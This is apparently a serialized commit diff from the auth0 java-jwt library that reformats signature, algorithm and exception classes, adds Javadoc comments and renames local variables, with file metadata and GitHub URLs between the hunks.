      * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
+     * @param algorithm    algorithm name.
+     * @param secretBytes  algorithm secret.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException {
+    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes)
+            throws NoSuchAlgorithmException, InvalidKeyException {
         final Mac mac = Mac.getInstance(algorithm);
         mac.init(new SecretKeySpec(secretBytes, algorithm));
         return mac.doFinal(contentBytes);
     }
 
-    /**
-     * Verify signature using a public key.
-     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
-     *
-     * @param algorithm algorithm name.
-     * @param publicKey algorithm public key.
-     * @param contentBytes the content to which the signature applies.
-     * @param signatureBytes JWT signature.
-     * @return the signature bytes.
-     * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
-     */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        final Signature s = Signature.getInstance(algorithm);
-        s.initVerify(publicKey);
-        s.update(contentBytes);
-        return s.verify(signatureBytes);
-    }
-
     /**
      * Create signature using a private key.
      * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param algorithm algorithm name.
-     * @param privateKey the private key to use for signing.
+     * @param algorithm    algorithm name.
+     * @param privateKey   the private key to use for signing.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
+     * @throws SignatureException       if this signature object is not initialized properly
+     *                                  or if this signature algorithm is unable to process the input data provided.
      */
 
-    byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    byte[] createSignatureFor(
+            String algorithm,
+            PrivateKey privateKey,
+            byte[] contentBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);
         s.update(contentBytes);u&      }(j  (26700a2ac40e85621432e3bb878cb3fb88a94f87j  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj  modifiedj  K j  Kj  K9j  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X]  @@ -24,7 +24,8 @@ class ECDSAAlgorithm extends Algorithm {
     private final int ecNumberSize;
 
     //Visible for testing
-    ECDSAAlgorithm(CryptoHelper crypto, String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+    ECDSAAlgorithm(CryptoHelper crypto, String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (keyProvider == null) {
             throw new IllegalArgumentException("The Key Provider cannot be null.");
@@ -34,7 +35,8 @@ class ECDSAAlgorithm extends Algorithm {
         this.ecNumberSize = ecNumberSize;
     }
 
-    ECDSAAlgorithm(String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+    ECDSAAlgorithm(String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         this(new CryptoHelper(), id, algorithm, ecNumberSize, keyProvider);
     }
 
@@ -46,12 +48,14 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes));
+            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(),
+                    jwt.getPayload(), JOSEToDER(signatureBytes));
 
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }
-        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException | IllegalStateException | IllegalArgumentException e) {
+        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException
+                | IllegalStateException | IllegalArgumentException e) {
             throw new SignatureVerificationException(this, e);
         }
     }
@@ -116,25 +120,27 @@ byte[] DERToJOSE(byte[] derSignature) throws SignatureException {
         offset++;
 
         //Obtain R number length (Includes padding) and skip it
-        int rLength = derSignature[offset++];
-        if (rLength > ecNumberSize + 1) {
+        int rlength = derSignature[offset++];
+        if (rlength > ecNumberSize + 1) {
             throw new SignatureException("Invalid DER signature format.");
         }
-        int rPadding = ecNumberSize - rLength;
+        int rpadding = ecNumberSize - rlength;
         //Retrieve R number
-        System.arraycopy(derSignature, offset + Math.max(-rPadding, 0), joseSignature, Math.max(rPadding, 0), rLength + Math.min(rPadding, 0));
+        System.arraycopy(derSignature, offset + Math.max(-rpadding, 0),
+                joseSignature, Math.max(rpadding, 0), rlength + Math.min(rpadding, 0));
 
         //Skip R number and 0x02
-        offset += rLength + 1;
+        offset += rlength + 1;
 
         //Obtain S number length. (Includes padding)
-        int sLength = derSignature[offset++];
-        if (sLength > ecNumberSize + 1) {
+        int slength = derSignature[offset++];
+        if (slength > ecNumberSize + 1) {
             throw new SignatureException("Invalid DER signature format.");
         }
-        int sPadding = ecNumberSize - sLength;
+        int spadding = ecNumberSize - slength;
         //Retrieve R number
-        System.arraycopy(derSignature, offset + Math.max(-sPadding, 0), joseSignature, ecNumberSize + Math.max(sPadding, 0), sLength + Math.min(sPadding, 0));
+        System.arraycopy(derSignature, offset + Math.max(-spadding, 0), joseSignature,
+                ecNumberSize + Math.max(spadding, 0), slength + Math.min(spadding, 0));
 
         return joseSignature;
     }
@@ -146,12 +152,12 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
         }
 
         // Retrieve R and S number's length and padding.
-        int rPadding = countPadding(joseSignature, 0, ecNumberSize);
-        int sPadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
-        int rLength = ecNumberSize - rPadding;
-        int sLength = ecNumberSize - sPadding;
+        int rpadding = countPadding(joseSignature, 0, ecNumberSize);
+        int spadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
+        int rlength = ecNumberSize - rpadding;
+        int slength = ecNumberSize - spadding;
 
-        int length = 2 + rLength + 2 + sLength;
+        int length = 2 + rlength + 2 + slength;
         if (length > 255) {
             throw new SignatureException("Invalid JOSE signature format.");
         }
@@ -174,31 +180,32 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
 
         // Header with "min R" number length
         derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) rLength;
+        derSignature[offset++] = (byte) rlength;
 
         // R number
-        if (rPadding < 0) {
+        if (rpadding < 0) {
             //Sign
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, 0, derSignature, offset, ecNumberSize);
             offset += ecNumberSize;
         } else {
-            int copyLength = Math.min(ecNumberSize, rLength);
-            System.arraycopy(joseSignature, rPadding, derSignature, offset, copyLength);
+            int copyLength = Math.min(ecNumberSize, rlength);
+            System.arraycopy(joseSignature, rpadding, derSignature, offset, copyLength);
             offset += copyLength;
         }
 
         // Header with "min S" number length
         derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) sLength;
+        derSignature[offset++] = (byte) slength;
 
         // S number
-        if (sPadding < 0) {
+        if (spadding < 0) {
             //Sign
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, ecNumberSize, derSignature, offset, ecNumberSize);
         } else {
-            System.arraycopy(joseSignature, ecNumberSize + sPadding, derSignature, offset, Math.min(ecNumberSize, sLength));
+            System.arraycopy(joseSignature, ecNumberSize + spadding, derSignature, offset,
+                    Math.min(ecNumberSize, slength));
         }
 
         return derSignature;u}(j  (0306e7c420d2ad375f4e0bcddc32a4997c3d22e7j  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -21,7 +21,8 @@ class HMACAlgorithm extends Algorithm {
     private final byte[] secret;
 
     //Visible for testing
-    HMACAlgorithm(CryptoHelper crypto, String id, String algorithm, byte[] secretBytes) throws IllegalArgumentException {
+    HMACAlgorithm(CryptoHelper crypto, String id, String algorithm, byte[] secretBytes)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (secretBytes == null) {
             throw new IllegalArgumentException("The Secret cannot be null");
@@ -50,7 +51,8 @@ static byte[] getSecretBytes(String secret) throws IllegalArgumentException {
     public void verify(DecodedJWT jwt) throws SignatureVerificationException {
         try {
             byte[] signatureBytes = Base64.getUrlDecoder().decode(jwt.getSignature());
-            boolean valid = crypto.verifySignatureFor(getDescription(), secret, jwt.getHeader(), jwt.getPayload(), signatureBytes);
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), secret, jwt.getHeader(), jwt.getPayload(), signatureBytes);
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }u}(j  (5c6c0fc5ef0aa48041ee0d054890b1c0fcda781ej  =lib/src/main/java/com/auth0/jwt/algorithms/NoneAlgorithm.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -3,7 +3,6 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.DecodedJWT;
-
 import java.util.Base64;
 
 class NoneAlgorithm extends Algorithm {u}(j  (0c7a5b579f09c8ecf734431a0ff01862b5a35f0cj  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  XI  @@ -24,7 +24,8 @@ class RSAAlgorithm extends Algorithm {
     private final CryptoHelper crypto;
 
     //Visible for testing
-    RSAAlgorithm(CryptoHelper crypto, String id, String algorithm, RSAKeyProvider keyProvider) throws IllegalArgumentException {
+    RSAAlgorithm(CryptoHelper crypto, String id, String algorithm, RSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (keyProvider == null) {
             throw new IllegalArgumentException("The Key Provider cannot be null.");
@@ -45,11 +46,13 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), signatureBytes);
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), signatureBytes);
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }
-        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException | IllegalArgumentException | IllegalStateException e) {
+        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException
+                | IllegalArgumentException | IllegalStateException e) {
             throw new SignatureVerificationException(this, e);
         }
     }
@@ -66,7 +69,7 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
             throw new SignatureGenerationException(this, e);
         }
     }
-    
+
     @Override
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {u}(j  (d6b71205837f2f4ca262448c55d300ea8559d8f3j  Jlib/src/main/java/com/auth0/jwt/exceptions/AlgorithmMismatchException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  XF  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that will be thrown if the exception doesn't match the one mentioned in the JWT Header.
+ */
 public class AlgorithmMismatchException extends JWTVerificationException {
     public AlgorithmMismatchException(String message) {
         super(message);u}(j  (f80fb752045bf22b3e8e639c9713269c52c2e480j  Elib/src/main/java/com/auth0/jwt/exceptions/InvalidClaimException.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -1,6 +1,8 @@
 package com.auth0.jwt.exceptions;
 
-
+/**
+ * The exception that will be thrown while verifying Claims of a JWT.
+ */
 public class InvalidClaimException extends JWTVerificationException {
     public InvalidClaimException(String message) {
         super(message);u}(j  (c7e162ea9825bec91520505cfbcabc674d26075ej  Dlib/src/main/java/com/auth0/jwt/exceptions/JWTCreationException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown when a JWT cannot be created.
+ */
 public class JWTCreationException extends RuntimeException {
     public JWTCreationException(String message, Throwable cause) {
         super(message, cause);u}(j  (448714e9b1e92cbb590870c8a45d8e6730164983j  Blib/src/main/java/com/auth0/jwt/exceptions/JWTDecodeException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X6  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown when any part of the token contained an invalid JWT or JSON format.
+ */
 public class JWTDecodeException extends JWTVerificationException {
     public JWTDecodeException(String message) {
         this(message, null);u}(j  (dd36dcd331c31c282a00ffd09241f1fcbcb9336ej  Hlib/src/main/java/com/auth0/jwt/exceptions/JWTVerificationException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * Parent to all the exception thrown while verifying a JWT.
+ */
 public class JWTVerificationException extends RuntimeException {
     public JWTVerificationException(String message) {
         this(message, null);u}(j  (4b7668a092219d992902413c7ee80d8965088dcaj  Llib/src/main/java/com/auth0/jwt/exceptions/SignatureGenerationException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -2,6 +2,9 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 
+/**
+ * The exception that is thrown when signature is not able to be generated.
+ */
 public class SignatureGenerationException extends JWTCreationException {
     public SignatureGenerationException(Algorithm algorithm, Throwable cause) {
         super("The Token's Signature couldn't be generated when signing using the Algorithm: " + algorithm, cause);u}(j  (fa7c3cabfce64230a893194a8465e12e72a800d6j  Nlib/src/main/java/com/auth0/jwt/exceptions/SignatureVerificationException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  XA  @@ -2,6 +2,9 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 
+/**
+ * The exception that is thrown if the Signature verification fails.
+ */
 public class SignatureVerificationException extends JWTVerificationException {
     public SignatureVerificationException(Algorithm algorithm) {
         this(algorithm, null);u}(j  (66f282859fea4abc435a7db0ccc698d78c312063j  Elib/src/main/java/com/auth0/jwt/exceptions/TokenExpiredException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X
  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown if the token is expired.
+ */
 public class TokenExpiredException extends JWTVerificationException {
 
     private static final long serialVersionUID = -7076928975713577708L;u}(j  (3746dcd2fde65838d355c953218d730350c53c59j  5lib/src/main/java/com/auth0/jwt/impl/BasicHeader.javaj  modifiedj  K	j  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -24,8 +24,15 @@ class BasicHeader implements Header, Serializable {
     private final String keyId;
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
-    
-    BasicHeader(String algorithm, String type, String contentType, String keyId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+
+    BasicHeader(
+            String algorithm,
+            String type,
+            String contentType,
+            String keyId,
+            Map<String, JsonNode> tree,
+            ObjectReader objectReader
+    ) {
         this.algorithm = algorithm;
         this.type = type;
         this.contentType = contentType;u}(j  (b1f8e6d3a21f5a0747db6febd374012486b55837j  :lib/src/main/java/com/auth0/jwt/impl/ClaimsSerializer.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -32,12 +32,12 @@ public void serialize(T holder, JsonGenerator gen, SerializerProvider provider)
 
     /**
      * Writes the given entry to the JSON representation. Custom claim serialization handling can override this method
-     * to provide use-case specific serialization. Implementors who override this method must write the field name and the
-     * field value.
+     * to provide use-case specific serialization. Implementors who override this method must write
+     * the field name and the field value.
      *
      * @param entry The entry that corresponds to the JSON field to write
      * @param gen The {@code JsonGenerator} to use
-     * @throws IOException
+     * @throws IOException if there is either an underlying I/O problem or encoding issue at format layer
      */
     protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
         gen.writeFieldName(entry.getKey());u}(j  (8a6cbcf89b841652e5677036f7f59a4f6b837655j  <lib/src/main/java/com/auth0/jwt/impl/HeaderDeserializer.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -13,10 +13,10 @@
 
 /**
  * Jackson deserializer implementation for converting from JWT Header parts.
- *
- * @see JWTParser
  * <p>
  * This class is thread-safe.
+ *
+ * @see JWTParser
  */
 class HeaderDeserializer extends StdDeserializer<BasicHeader> {
 u}(j  (fe1600bd313d3e84c8aec28926cc790df4fa0ec9j  3lib/src/main/java/com/auth0/jwt/impl/JWTParser.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -9,9 +9,12 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 import com.fasterxml.jackson.databind.SerializationFeature;
 import com.fasterxml.jackson.databind.module.SimpleModule;
-
 import java.io.IOException;
 
+/**
+ * This class helps in decoding the Header and Payload of the JWT using
+ * {@link HeaderSerializer} and {@link PayloadSerializer}.
+ */
 public class JWTParser implements JWTPartsParser {
     private final ObjectReader payloadReader;
     private final ObjectReader headerReader;u}(j  (54a09575c0a931f8120915ba36923f4fb820c4bcj  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj  modifiedj  K
j  K
j  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X	  @@ -74,34 +74,34 @@ public Instant asInstant() {
 
     @Override
     @SuppressWarnings("unchecked")
-    public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
         if (!data.isArray()) {
             return null;
         }
 
-        T[] arr = (T[]) Array.newInstance(tClazz, data.size());
+        T[] arr = (T[]) Array.newInstance(clazz, data.size());
         for (int i = 0; i < data.size(); i++) {
             try {
-                arr[i] = objectReader.treeToValue(data.get(i), tClazz);
+                arr[i] = objectReader.treeToValue(data.get(i), clazz);
